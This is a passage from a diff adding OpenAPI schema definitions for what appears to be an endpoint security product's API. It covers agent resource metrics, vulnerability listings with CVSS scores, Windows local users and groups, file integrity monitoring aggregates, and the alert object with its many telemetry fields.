+        title: Agent policy name
+        type: string
+    required:
+      - agent_policy_id
+      - agent_policy_name
+    type: object
+  AgentResource:
+    properties:
+      agent_id:
+        minLength: 1
+        title: Agent id
+        type: string
+      av_cpu:
+        description: CPU average for this minute for the AV process
+        title: Av cpu
+        type: number
+      av_memory:
+        description: RAM usage (in bytes) for the AV process
+        title: Av memory
+        type: integer
+      cpu:
+        description: CPU average for this minute
+        title: Cpu
+        type: number
+      date:
+        description: Date for which the resources were taken
+        format: date-time
+        title: Date
+        type: string
+      date_received:
+        format: date-time
+        title: Date received
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      job:
+        description: Was a job running during this minute
+        title: Job
+        type: boolean
+      memory:
+        description: Memory taken by the agent (in bytes)
+        title: Memory
+        type: integer
+      system_cpu:
+        description: System wide CPU average for this minute
+        title: System cpu
+        type: number
+      system_memory:
+        description: System wide RAM usage (in bytes)
+        title: System memory
+        type: integer
+      telemetry:
+        description: |-
+          Legacy value of the telemetry at this minute. Only has
+          the low 64 bits.
+        title: Telemetry
+        type: integer
+      telemetry_str:
+        description: |-
+          Value of the telemetry at this minute. Encoded as
+          a numeric decimal string to allow for infinite
+          precision.
+        minLength: 1
+        title: Telemetry str
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - agent_id
+      - av_cpu
+      - av_memory
+      - cpu
+      - date
+      - date_received
+      - id
+      - job
+      - memory
+      - system_cpu
+      - system_memory
+      - telemetry
+      - telemetry_str
+      - tenant
+    type: object
+  AgentSelfProtectionPassword:
+    properties:
+      password:
+        minLength: 1
+        title: Password
+        type: string
+    required:
+      - password
+    type: object
+  AgentSelfProtectionPasswordQuery:
+    properties:
+      seqnum:
+        title: Seqnum
+        type: integer
+    required:
+      - seqnum
+    type: object
+  AgentVersion:
+    properties:
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    type: object
+  AgentVulnerabilitiesAggregation:
+    properties:
+      domainname:
+        minLength: 1
+        title: Domainname
+        type: string
+        x-nullable: true
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      lastseen:
+        format: date-time
+        title: Lastseen
+        type: string
+        x-nullable: true
+      latest_vulnscan_date:
+        format: date-time
+        title: Latest vulnscan date
+        type: string
+        x-nullable: true
+      nb_critical_level:
+        title: Nb critical level
+        type: integer
+      nb_high_level:
+        title: Nb high level
+        type: integer
+      nb_low_level:
+        title: Nb low level
+        type: integer
+      nb_medium_level:
+        title: Nb medium level
+        type: integer
+      nb_vulnerabilities:
+        title: Nb vulnerabilities
+        type: integer
+      osproducttype:
+        minLength: 1
+        title: Osproducttype
+        type: string
+        x-nullable: true
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+        x-nullable: true
+      osversion:
+        minLength: 1
+        title: Osversion
+        type: string
+        x-nullable: true
+      status:
+        enum:
+          - access_denied
+          - idle
+          - offline
+          - online
+          - unknown
+        readOnly: true
+        title: Status
+        type: string
+      version:
+        minLength: 1
+        title: Version
+        type: string
+        x-nullable: true
+    required:
+      - nb_critical_level
+      - nb_high_level
+      - nb_low_level
+      - nb_medium_level
+      - nb_vulnerabilities
+    type: object
+  AgentVulnerabilitiesAggregationListing:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/AgentVulnerabilitiesAggregation'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  AgentVulnerabilitiesListing:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/AgentVulnerability'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  AgentVulnerability:
+    properties:
+      cvss_metric_base_score:
+        title: Cvss metric base score
+        type: number
+      cvss_metric_exploitability_score:
+        title: Cvss metric exploitability score
+        type: number
+      cvss_metric_impact_score:
+        title: Cvss metric impact score
+        type: number
+      cvss_metric_severity:
+        enum:
+          - CRITICAL
+          - HIGH
+          - LOW
+          - MEDIUM
+          - NONE
+        readOnly: true
+        title: Cvss metric severity
+        type: string
+      cvss_metric_vector_string:
+        minLength: 1
+        title: Cvss metric vector string
+        type: string
+      cvss_metric_version:
+        minLength: 1
+        title: Cvss metric version
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      detection_date:
+        format: date-time
+        title: Detection date
+        type: string
+      hidden:
+        title: Hidden
+        type: boolean
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      last_modified:
+        format: date-time
+        title: Last modified
+        type: string
+      published:
+        format: date-time
+        title: Published
+        type: string
+      source_identifier:
+        minLength: 1
+        title: Source identifier
+        type: string
+    required:
+      - cvss_metric_base_score
+      - cvss_metric_exploitability_score
+      - cvss_metric_impact_score
+      - cvss_metric_vector_string
+      - cvss_metric_version
+      - description
+      - detection_date
+      - id
+      - last_modified
+      - published
+      - source_identifier
+    type: object
+  AgentVulnerabilityPerReport:
+    properties:
+      cve_id:
+        minLength: 1
+        title: Cve id
+        type: string
+      cvss_metric_base_score:
+        title: Cvss metric base score
+        type: number
+      cvss_metric_severity:
+        enum:
+          - CRITICAL
+          - HIGH
+          - LOW
+          - MEDIUM
+          - NONE
+        readOnly: true
+        title: Cvss metric severity
+        type: string
+      report_id:
+        format: uuid
+        title: Report id
+        type: string
+      report_name:
+        minLength: 1
+        title: Report name
+        type: string
+    required:
+      - cve_id
+      - cvss_metric_base_score
+      - report_id
+      - report_name
+    type: object
+  AgentVulnerabilityPerReportListing:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/AgentVulnerabilityPerReport'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  AgentWindowsLocalGroup:
+    properties:
+      child_groups:
+        items:
+          $ref: '#/definitions/SimpleWindowsGroup'
+        readOnly: true
+        type: array
+        x-nullable: true
+      comment:
+        minLength: 1
+        readOnly: true
+        title: Comment
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      domain:
+        minLength: 1
+        readOnly: true
+        title: Domain
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      kind:
+        enum:
+          - domain_local_group
+          - global_group
+          - local_group
+          - well_known_group
+        readOnly: true
+        title: Kind
+        type: string
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      local_users:
+        items:
+          $ref: '#/definitions/AgentWindowsSimpleLocalUser'
+        readOnly: true
+        type: array
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      parent_group:
+        $ref: '#/definitions/SimpleWindowsGroup'
+      remote_users:
+        items:
+          $ref: '#/definitions/WindowsRemoteUser'
+        readOnly: true
+        type: array
+      sid:
+        minLength: 1
+        readOnly: true
+        title: Sid
+        type: string
+        x-nullable: true
+      user_count:
+        readOnly: true
+        title: User count
+        type: integer
+    type: object
+  AgentWindowsLocalUser:
+    properties:
+      account_disabled:
+        readOnly: true
+        title: Account disabled
+        type: boolean
+      bad_password_count:
+        maximum: 2147483647
+        minimum: -2147483648
+        readOnly: true
+        title: Bad password count
+        type: integer
+      comment:
+        minLength: 1
+        readOnly: true
+        title: Comment
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      flags:
+        maximum: 2147483647
+        minimum: -2147483648
+        readOnly: true
+        title: Flags
+        type: integer
+        x-nullable: true
+      full_name:
+        minLength: 1
+        readOnly: true
+        title: Full name
+        type: string
+        x-nullable: true
+      groups:
+        items:
+          $ref: '#/definitions/WindowsSimpleLocalGroup'
+        readOnly: true
+        type: array
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_logon:
+        format: date-time
+        readOnly: true
+        title: Last logon
+        type: string
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+        x-nullable: true
+      num_logons:
+        maximum: 2147483647
+        minimum: -2147483648
+        readOnly: true
+        title: Num logons
+        type: integer
+      password_doesnt_expire:
+        readOnly: true
+        title: Password doesnt expire
+        type: boolean
+      password_expired:
+        readOnly: true
+        title: Password expired
+        type: boolean
+      password_last_set:
+        format: date-time
+        readOnly: true
+        title: Password last set
+        type: string
+        x-nullable: true
+      privilege_level:
+        enum:
+          - 0
+          - 1
+          - 2
+        readOnly: true
+        title: Privilege level
+        type: integer
+      rid:
+        maximum: 2147483647
+        minimum: -2147483648
+        readOnly: true
+        title: Rid
+        type: integer
+        x-nullable: true
+      sid:
+        minLength: 1
+        readOnly: true
+        title: Sid
+        type: string
+        x-nullable: true
+    type: object
+  AgentWindowsQfe:
+    properties:
+      caption:
+        minLength: 1
+        readOnly: true
+        title: Caption
+        type: string
+        x-nullable: true
+      description:
+        minLength: 1
+        readOnly: true
+        title: Description
+        type: string
+        x-nullable: true
+      hot_fix_id:
+        minLength: 1
+        readOnly: true
+        title: Hot fix id
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      installed_by:
+        minLength: 1
+        readOnly: true
+        title: Installed by
+        type: string
+        x-nullable: true
+      installed_on:
+        format: date-time
+        readOnly: true
+        title: Installed on
+        type: string
+        x-nullable: true
+    type: object
+  AgentWindowsSimpleLocalUser:
+    properties:
+      account_disabled:
+        readOnly: true
+        title: Account disabled
+        type: boolean
+      bad_password_count:
+        maximum: 2147483647
+        minimum: -2147483648
+        readOnly: true
+        title: Bad password count
+        type: integer
+      comment:
+        minLength: 1
+        readOnly: true
+        title: Comment
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      flags:
+        maximum: 2147483647
+        minimum: -2147483648
+        readOnly: true
+        title: Flags
+        type: integer
+        x-nullable: true
+      full_name:
+        minLength: 1
+        readOnly: true
+        title: Full name
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_logon:
+        format: date-time
+        readOnly: true
+        title: Last logon
+        type: string
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+        x-nullable: true
+      num_logons:
+        maximum: 2147483647
+        minimum: -2147483648
+        readOnly: true
+        title: Num logons
+        type: integer
+      password_doesnt_expire:
+        readOnly: true
+        title: Password doesnt expire
+        type: boolean
+      password_expired:
+        readOnly: true
+        title: Password expired
+        type: boolean
+      password_last_set:
+        format: date-time
+        readOnly: true
+        title: Password last set
+        type: string
+        x-nullable: true
+      privilege_level:
+        enum:
+          - 0
+          - 1
+          - 2
+        readOnly: true
+        title: Privilege level
+        type: integer
+      rid:
+        maximum: 2147483647
+        minimum: -2147483648
+        readOnly: true
+        title: Rid
+        type: integer
+        x-nullable: true
+      sid:
+        minLength: 1
+        readOnly: true
+        title: Sid
+        type: string
+        x-nullable: true
+    type: object
+  AgentsAffectedByVuln:
+    properties:
+      detection_date:
+        format: date-time
+        title: Detection date
+        type: string
+      domainname:
+        minLength: 1
+        title: Domainname
+        type: string
+        x-nullable: true
+      groups:
+        items:
+          type: string
+        type: array
+        uniqueItems: true
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      lastseen:
+        format: date-time
+        title: Lastseen
+        type: string
+        x-nullable: true
+      latest_vulnscan_date:
+        format: date-time
+        title: Latest vulnscan date
+        type: string
+        x-nullable: true
+      osproducttype:
+        minLength: 1
+        title: Osproducttype
+        type: string
+        x-nullable: true
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+        x-nullable: true
+      osversion:
+        minLength: 1
+        title: Osversion
+        type: string
+        x-nullable: true
+      status:
+        enum:
+          - access_denied
+          - idle
+          - offline
+          - online
+          - unknown
+        readOnly: true
+        title: Status
+        type: string
+      version:
+        minLength: 1
+        title: Version
+        type: string
+        x-nullable: true
+    required:
+      - detection_date
+      - groups
+    type: object
+  AgentsAffectedByVulnListing:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/AgentsAffectedByVuln'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  AggFIMFileModificationByAgent:
+    properties:
+      agent:
+        $ref: '#/definitions/MinimalAgentInfoWithOS'
+      highest_criticality:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        readOnly: true
+        title: Highest criticality
+        type: string
+      modifications_accepted_count:
+        readOnly: true
+        title: Modifications accepted count
+        type: integer
+      modifications_count:
+        readOnly: true
+        title: Modifications count
+        type: integer
+      modifications_not_reviewed_count:
+        readOnly: true
+        title: Modifications not reviewed count
+        type: integer
+      modifications_rejected_count:
+        readOnly: true
+        title: Modifications rejected count
+        type: integer
+      report_date:
+        format: date-time
+        readOnly: true
+        title: Report date
+        type: string
+      result:
+        enum:
+          - changes detected
+          - no changes detected
+        readOnly: true
+        title: Result
+        type: string
+    type: object
+  AggFIMFileModificationByPath:
+    properties:
+      agg_key:
+        minLength: 1
+        readOnly: true
+        title: Agg key
+        type: string
+      current_entry_type:
+        enum:
+          - directory
+          - file
+        readOnly: true
+        title: Current entry type
+        type: string
+      endpoints_count:
+        readOnly: true
+        title: Endpoints count
+        type: integer
+      fim_policy:
+        $ref: '#/definitions/MinimalFIMPolicy'
+      highest_criticality:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        readOnly: true
+        title: Highest criticality
+        type: string
+      modifications_accepted_count:
+        readOnly: true
+        title: Modifications accepted count
+        type: integer
+      modifications_count:
+        readOnly: true
+        title: Modifications count
+        type: integer
+      modifications_not_reviewed_count:
+        readOnly: true
+        title: Modifications not reviewed count
+        type: integer
+      modifications_rejected_count:
+        readOnly: true
+        title: Modifications rejected count
+        type: integer
+      path:
+        minLength: 1
+        readOnly: true
+        title: Path
+        type: string
+      type:
+        enum:
+          - content
+          - creation
+          - deletion
+          - error
+          - initialization
+          - metadata
+          - metadata and content
+          - type change
+        readOnly: true
+        title: Type
+        type: string
+    type: object
+  AggregationAlert:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent_count:
+        title: Agent count
+        type: integer
+      agents:
+        items:
+          $ref: '#/definitions/ReducedAgent'
+        type: array
+      alert_subtype:
+        minLength: 1
+        title: Alert subtype
+        type: string
+      alert_type:
+        enum:
+          - cape
+          - correlation
+          - device_control
+          - driver
+          - glimps
+          - hlai
+          - hlaiscripts
+          - hurukaiav
+          - ioc
+          - kernelguard
+          - orion
+          - ransom
+          - selfprotection
+          - sidewatch
+          - sigma
+          - vt
+          - yara
+        title: Alert type
+        type: string
+      av_detection_details:
+        $ref: '#/definitions/AntivirusDetectionDetails'
+      bpf:
+        $ref: '#/definitions/ECSBpf'
+      byovd_detection_details:
+        $ref: '#/definitions/ByovdDetectionDetails'
+      comm_port_tamper:
+        $ref: '#/definitions/CommPortTamper'
+      confidence:
+        minLength: 1
+        title: Confidence
+        type: string
+      confidence_int:
+        title: Confidence int
+        type: integer
+      count:
+        title: Count
+        type: integer
+      date_closed:
+        format: date-time
+        title: Date closed
+        type: string
+      date_deisolated:
+        format: date-time
+        title: Date deisolated
+        type: string
+      date_false_positive:
+        format: date-time
+        title: Date false positive
+        type: string
+      date_investigating:
+        format: date-time
+        title: Date investigating
+        type: string
+      date_isolated:
+        format: date-time
+        title: Date isolated
+        type: string
+      date_new:
+        format: date-time
+        title: Date new
+        type: string
+      destination:
+        $ref: '#/definitions/ECSDestination'
+      details_amsi_scan:
+        $ref: '#/definitions/DetailAmsiScan'
+      details_connection:
+        $ref: '#/definitions/DetailConnection'
+      details_dns_resolution:
+        $ref: '#/definitions/DetailDnsResolution'
+      details_file:
+        $ref: '#/definitions/DetailFile'
+      details_library:
+        $ref: '#/definitions/DetailLibrary'
+      details_linux_filesystem_event:
+        $ref: '#/definitions/DetailLinuxFilesystemEvent'
+      details_macos_filesystem_event:
+        $ref: '#/definitions/DetailMacosFilesystemEvent'
+      details_named_pipe_connected:
+        $ref: '#/definitions/DetailNamedPipeConnected'
+      details_named_pipe_created:
+        $ref: '#/definitions/DetailNamedPipeCreated'
+      details_network_listen:
+        $ref: '#/definitions/DetailNetworkListen'
+      details_powershell:
+        $ref: '#/definitions/DetailPowershell'
+      details_primary_token_change:
+        $ref: '#/definitions/DetailPrimaryTokenChange'
+      details_process_access:
+        $ref: '#/definitions/DetailProcessAccess'
+      details_process_tamper:
+        $ref: '#/definitions/DetailProcessTamper'
+      details_raw_device_access:
+        $ref: '#/definitions/DetailRawDeviceAccess'
+      details_raw_socket_creation:
+        $ref: '#/definitions/DetailRawSocketCreation'
+      details_registry:
+        $ref: '#/definitions/DetailRegistry'
+      details_remotethread:
+        $ref: '#/definitions/DetailRemoteThread'
+      details_url_request:
+        $ref: '#/definitions/DetailUrlRequest'
+      details_usb_device_event:
+        $ref: '#/definitions/DetailsUsbDeviceEvent'
+      details_windows_filesystem_event:
+        $ref: '#/definitions/DetailWindowsFilesystemEvent'
+      detection:
+        $ref: '#/definitions/AlertDetection'
+      detection_origin:
+        minLength: 1
+        title: Detection origin
+        type: string
+      driverload:
+        $ref: '#/definitions/InnerDriverLoad'
+      dse_tamper:
+        $ref: '#/definitions/DseTamper'
+      etw_ti_ke_insert_queue_apc:
+        $ref: '#/definitions/ECSEtwTiKeInsertQueueApc'
+      etw_ti_nt_allocate_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtAllocateVirtualMemory'
+      etw_ti_nt_map_view_of_section:
+        $ref: '#/definitions/ECSEtwTiNtMapViewOfSection'
+      etw_ti_nt_protect_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtProtectVirtualMemory'
+      etw_ti_nt_read_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtReadWriteVirtualMemory'
+      etw_ti_nt_set_context_thread:
+        $ref: '#/definitions/ECSEtwTiNtSetContextThread'
+      etw_ti_nt_write_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtReadWriteVirtualMemory'
+      event:
+        $ref: '#/definitions/ECSEvent'
+      event_session:
+        $ref: '#/definitions/SessionInfo'
+      eventlog:
+        $ref: '#/definitions/InnerEventLog'
+      execution:
+        title: Execution
+        type: integer
+      firewall_self_protection:
+        $ref: '#/definitions/FirewallSelfProtection'
+      first_seen:
+        format: date-time
+        title: First seen
+        type: string
+      group_event:
+        $ref: '#/definitions/InnerGroupEvent'
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      hlai_binaries_benchmark_data:
+        $ref: '#/definitions/HlaiBinariesBenchmarkData'
+      hlai_scripts_benchmark_data:
+        $ref: '#/definitions/HlaiScriptsBenchmarkData'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      image_name:
+        minLength: 1
+        title: Image name
+        type: string
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      kernel_callback:
+        $ref: '#/definitions/KernelCallback'
+      last_modifier_id:
+        title: Last modifier id
+        type: integer
+      last_seen:
+        format: date-time
+        title: Last seen
+        type: string
+      last_status_update_is_automatic:
+        title: Last status update is automatic
+        type: boolean
+      last_update:
+        format: date-time
+        title: Last update
+        type: string
+      level:
+        minLength: 1
+        title: Level
+        type: string
+      level_int:
+        title: Level int
+        type: integer
+      mitre_cells:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      msg:
+        minLength: 1
+        title: Msg
+        type: string
+      network:
+        $ref: '#/definitions/InnerNetwork'
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      process:
+        $ref: '#/definitions/InnerProcess'
+      process_duplicate_handle:
+        $ref: '#/definitions/ECSProcessDuplicateHandle'
+      process_ptrace:
+        $ref: '#/definitions/ECSProcessPtrace'
+      process_session:
+        $ref: '#/definitions/SessionInfo'
+      quarantine:
+        title: Quarantine
+        type: integer
+      quarantined_files:
+        items:
+          $ref: '#/definitions/QuarantinedFile'
+        type: array
+      ransomguard_canary_data:
+        $ref: '#/definitions/RansomguardCanaryData'
+      ransomguard_detection_type:
+        minLength: 1
+        title: Ransomguard detection type
+        type: string
+      ransomguard_heuristic_data:
+        $ref: '#/definitions/RansomguardHeuristicData'
+      references:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      rule_content:
+        minLength: 1
+        title: Rule content
+        type: string
+      rule_id:
+        minLength: 1
+        title: Rule id
+        type: string
+      rule_name:
+        minLength: 1
+        title: Rule name
+        type: string
+      scheduled_task:
+        $ref: '#/definitions/ECSScheduledTask'
+      sidewatch_detection_details:
+        $ref: '#/definitions/SidewatchDetectionDetails'
+      source:
+        $ref: '#/definitions/ECSSource'
+      stack_trace:
+        $ref: '#/definitions/ECSStackTrace'
+      status:
+        minLength: 1
+        title: Status
+        type: string
+      status_history:
+        items:
+          $ref: '#/definitions/AlertStatusHistory'
+        type: array
+      tags:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      target:
+        $ref: '#/definitions/ECSTarget'
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      thread:
+        $ref: '#/definitions/InnerInjectedThread'
+      unique_endpoint:
+        title: Unique endpoint
+        type: integer
+      user:
+        $ref: '#/definitions/ECSUser'
+      user_event:
+        $ref: '#/definitions/InnerUserEvent'
+      win32k_get_async_key_state:
+        $ref: '#/definitions/ECSWin32kGetAsyncKeyState'
+      win32k_register_raw_input_devices:
+        $ref: '#/definitions/ECSWin32kRegisterRawInputDevices'
+      win32k_set_windows_hook_ex:
+        $ref: '#/definitions/ECSWin32kSetWindowsHookEx'
+      windows_service:
+        $ref: '#/definitions/ECSWindowsService'
+      wmi_event:
+        $ref: '#/definitions/WmiEvent'
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent_count
+      - agents
+      - alert_subtype
+      - alert_type
+      - bpf
+      - confidence
+      - confidence_int
+      - count
+      - date_closed
+      - date_deisolated
+      - date_false_positive
+      - date_investigating
+      - date_isolated
+      - date_new
+      - destination
+      - detection
+      - detection_origin
+      - etw_ti_ke_insert_queue_apc
+      - etw_ti_nt_allocate_virtual_memory
+      - etw_ti_nt_map_view_of_section
+      - etw_ti_nt_protect_virtual_memory
+      - etw_ti_nt_read_virtual_memory
+      - etw_ti_nt_set_context_thread
+      - etw_ti_nt_write_virtual_memory
+      - event
+      - execution
+      - first_seen
+      - group_event
+      - id
+      - image_name
+      - job_id
+      - last_modifier_id
+      - last_seen
+      - last_status_update_is_automatic
+      - last_update
+      - level
+      - level_int
+      - mitre_cells
+      - msg
+      - process_duplicate_handle
+      - process_ptrace
+      - quarantine
+      - ransomguard_detection_type
+      - references
+      - rule_content
+      - rule_id
+      - rule_name
+      - scheduled_task
+      - source
+      - stack_trace
+      - status
+      - tags
+      - target
+      - tenant
+      - unique_endpoint
+      - user
+      - user_event
+      - win32k_get_async_key_state
+      - win32k_register_raw_input_devices
+      - win32k_set_windows_hook_ex
+      - windows_service
+    type: object
+  AggregationAlertDetail:
+    properties:
+      alert:
+        $ref: '#/definitions/AggregationAlert'
+      binary_available:
+        title: Binary available
+        type: boolean
+      current_rules_data:
+        items:
+          additionalProperties:
+            type: string
+            x-nullable: true
+          type: object
+        type: array
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      sigma_raw_rule:
+        $ref: '#/definitions/SigmaRule'
+      yara_raw_rule:
+        $ref: '#/definitions/YaraFile'
+    required:
+      - alert
+      - binary_available
+    type: object
+  Alert:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/IndexedInnerAgent'
+      aggregation_key:
+        minLength: 1
+        title: Aggregation key
+        type: string
+      alert_subtype:
+        minLength: 1
+        title: Alert subtype
+        type: string
+      alert_time:
+        format: date-time
+        title: Alert time
+        type: string
+      alert_type:
+        enum:
+          - cape
+          - correlation
+          - device_control
+          - driver
+          - glimps
+          - hlai
+          - hlaiscripts
+          - hurukaiav
+          - ioc
+          - kernelguard
+          - orion
+          - ransom
+          - selfprotection
+          - sidewatch
+          - sigma
+          - vt
+          - yara
+        title: Alert type
+        type: string
+      alert_unique_id:
+        minLength: 1
+        title: Alert unique id
+        type: string
+      av_detection_details:
+        $ref: '#/definitions/AntivirusDetectionDetails'
+      bpf:
+        $ref: '#/definitions/ECSBpf'
+      byovd_detection_details:
+        $ref: '#/definitions/ByovdDetectionDetails'
+      comm_port_tamper:
+        $ref: '#/definitions/CommPortTamper'
+      confidence:
+        minLength: 1
+        title: Confidence
+        type: string
+      confidence_int:
+        title: Confidence int
+        type: integer
+      correlation:
+        $ref: '#/definitions/CorrelationInfo'
+      date_closed:
+        format: date-time
+        title: Date closed
+        type: string
+      date_deisolated:
+        format: date-time
+        title: Date deisolated
+        type: string
+      date_false_positive:
+        format: date-time
+        title: Date false positive
+        type: string
+      date_investigating:
+        format: date-time
+        title: Date investigating
+        type: string
+      date_isolated:
+        format: date-time
+        title: Date isolated
+        type: string
+      date_new:
+        format: date-time
+        title: Date new
+        type: string
+      destination:
+        $ref: '#/definitions/ECSDestination'
+      details_amsi_scan:
+        $ref: '#/definitions/DetailAmsiScan'
+      details_connection:
+        $ref: '#/definitions/DetailConnection'
+      details_dns_resolution:
+        $ref: '#/definitions/DetailDnsResolution'
+      details_file:
+        $ref: '#/definitions/DetailFile'
+      details_library:
+        $ref: '#/definitions/DetailLibrary'
+      details_linux_filesystem_event:
+        $ref: '#/definitions/DetailLinuxFilesystemEvent'
+      details_macos_filesystem_event:
+        $ref: '#/definitions/DetailMacosFilesystemEvent'
+      details_named_pipe_connected:
+        $ref: '#/definitions/DetailNamedPipeConnected'
+      details_named_pipe_created:
+        $ref: '#/definitions/DetailNamedPipeCreated'
+      details_network_listen:
+        $ref: '#/definitions/DetailNetworkListen'
+      details_powershell:
+        $ref: '#/definitions/DetailPowershell'
+      details_primary_token_change:
+        $ref: '#/definitions/DetailPrimaryTokenChange'
+      details_process_access:
+        $ref: '#/definitions/DetailProcessAccess'
+      details_process_tamper:
+        $ref: '#/definitions/DetailProcessTamper'
+      details_raw_device_access:
+        $ref: '#/definitions/DetailRawDeviceAccess'
+      details_raw_socket_creation:
+        $ref: '#/definitions/DetailRawSocketCreation'
+      details_registry:
+        $ref: '#/definitions/DetailRegistry'
+      details_remotethread:
+        $ref: '#/definitions/DetailRemoteThread'
+      details_url_request:
+        $ref: '#/definitions/DetailUrlRequest'
+      details_usb_device_event:
+        $ref: '#/definitions/DetailsUsbDeviceEvent'
+      details_windows_filesystem_event:
+        $ref: '#/definitions/DetailWindowsFilesystemEvent'
+      detection:
+        $ref: '#/definitions/AlertDetection'
+      detection_date:
+        format: date-time
+        title: Detection date
+        type: string
+      detection_origin:
+        minLength: 1
+        title: Detection origin
+        type: string
+      detection_timestamp:
+        description: date of the alert creation, reported by the agent.
+        format: date-time
+        title: Detection timestamp
+        type: string
+      driverload:
+        $ref: '#/definitions/InnerDriverLoad'
+      dse_tamper:
+        $ref: '#/definitions/DseTamper'
+      etw_ti_ke_insert_queue_apc:
+        $ref: '#/definitions/ECSEtwTiKeInsertQueueApc'
+      etw_ti_nt_allocate_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtAllocateVirtualMemory'
+      etw_ti_nt_map_view_of_section:
+        $ref: '#/definitions/ECSEtwTiNtMapViewOfSection'
+      etw_ti_nt_protect_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtProtectVirtualMemory'
+      etw_ti_nt_read_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtReadWriteVirtualMemory'
+      etw_ti_nt_set_context_thread:
+        $ref: '#/definitions/ECSEtwTiNtSetContextThread'
+      etw_ti_nt_write_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtReadWriteVirtualMemory'
+      event:
+        $ref: '#/definitions/ECSEvent'
+      event_session:
+        $ref: '#/definitions/SessionInfo'
+      eventlog:
+        $ref: '#/definitions/InnerEventLog'
+      execution:
+        title: Execution
+        type: integer
+      firewall_self_protection:
+        $ref: '#/definitions/FirewallSelfProtection'
+      group_event:
+        $ref: '#/definitions/InnerGroupEvent'
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      hlai_binaries_benchmark_data:
+        $ref: '#/definitions/HlaiBinariesBenchmarkData'
+      hlai_scripts_benchmark_data:
+        $ref: '#/definitions/HlaiScriptsBenchmarkData'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      image_name:
+        minLength: 1
+        title: Image name
+        type: string
+      ingestion_date:
+        format: date-time
+        title: Ingestion date
+        type: string
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      kernel_callback:
+        $ref: '#/definitions/KernelCallback'
+      last_modifier_id:
+        title: Last modifier id
+        type: integer
+      last_seen:
+        format: date-time
+        title: Last seen
+        type: string
+      last_status_update_is_automatic:
+        title: Last status update is automatic
+        type: boolean
+      last_update:
+        format: date-time
+        title: Last update
+        type: string
+      level:
+        minLength: 1
+        title: Level
+        type: string
